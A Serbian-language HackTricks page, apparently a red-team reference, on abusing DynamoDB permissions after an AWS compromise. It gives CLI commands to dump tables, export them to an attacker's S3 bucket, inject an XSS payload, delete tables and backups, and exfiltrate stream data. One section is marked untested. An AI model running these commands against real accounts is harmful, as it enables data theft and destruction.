AWS - DynamoDB Post Exploitation

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

DynamoDB

Za više informacija proverite:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Napadač sa ovim dozvolama će moći da dobije stavke iz tabela po primarnom ključu (ne možete jednostavno tražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (to možete dobiti dobijanjem metapodataka tabele (describe-table).

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:GetItem

Slično prethodnim dozvolama ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti:

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Sa ovom dozvolom takođe je moguće koristiti metodu transact-get-items kao:

json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u tabeli

dynamodb:Query

Slično prethodnim dozvolama ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje podskupa poređenja, ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu.

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:Scan

Možete koristiti ovu dozvolu da lako izvučete celu tabelu.

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

Potencijalni uticaj: Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli

dynamodb:PartiQLSelect

Možete koristiti ovu dozvolu da lako izvučete celu tabelu.

bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Ova dozvola takođe omogućava izvršavanje batch-execute-statement kao:

bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

ali morate da navedete primarni ključ sa vrednošću, tako da to nije previše korisno.

Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u tabeli

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Ova dozvola će omogućiti napadaču da izveze celu tabelu u S3 bucket po svom izboru:

bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Napomena da za ovo da bi radilo, tabela treba da ima omogućenu point-in-time-recovery, možete proveriti da li tabela to ima sa:

bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>

Ako nije omogućeno, moraćete da omogućite to, a za to vam je potrebna dynamodb:ExportTableToPointInTime dozvola:

bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u tabeli

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Sa ovim dozvolama, napadač bi mogao da napravi novu tabelu iz rezervne kopije (ili čak da napravi rezervnu kopiju koju bi zatim mogao da vrati u drugu tabelu). Zatim, sa potrebnim dozvolama, mogao bi da proveri informacije iz rezervnih kopija koje više ne bi mogle biti u produkcijskoj tabeli.

bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potencijalni uticaj: Indirektni privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele

dynamodb:PutItem

Ova dozvola omogućava korisnicima da dodaju novi predmet u tabelu ili zamene postojeći predmet novim predmetom. Ako predmet sa istim primarnim ključem već postoji, ceo predmet će biti zamenjen novim predmetom. Ako primarni ključ ne postoji, novi predmet sa specificiranim primarnim ključem će biti kreiran.

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potencijalni uticaj: Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli

dynamodb:UpdateItem

Ova dozvola omogućava korisnicima da modifikuju postojeće atribute stavke ili dodaju nove atribute stavci. Ona ne zamenjuje celu stavku; samo ažurira specificirane atribute. Ako primarni ključ ne postoji u tabeli, operacija će napraviti novu stavku sa specificiranim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Potencijalni uticaj: Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikovanja podataka u DynamoDB tabeli

dynamodb:DeleteTable

Napadač sa ovom dozvolom može izbrisati DynamoDB tabelu, uzrokujući gubitak podataka.

bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potencijalni uticaj: Gubitak podataka i prekid usluga koje se oslanjaju na obrisanu tabelu.

dynamodb:DeleteBackup

Napadač sa ovom dozvolom može obrisati DynamoDB rezervnu kopiju, što može izazvati gubitak podataka u slučaju scenarija oporavka od katastrofe.

bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potencijalni uticaj: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

napomena

TODO: Testirati da li ovo zapravo funkcioniše

Napadač sa ovim dozvolama može omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu. Ovo omogućava napadaču da prati i eksfiltrira promene podataka, što može dovesti do curenja podataka.

  1. Omogućite stream na DynamoDB tabeli:
bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Opisati tok za dobijanje ARN-a i drugih detalja:
bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Dobijte shard iterator koristeći stream ARN:
bash
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Koristite shard iterator za pristup i eksfiltraciju podataka iz struje:
bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potencijalni uticaj: Praćenje u realnom vremenu i curenje podataka o promenama u DynamoDB tabeli.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks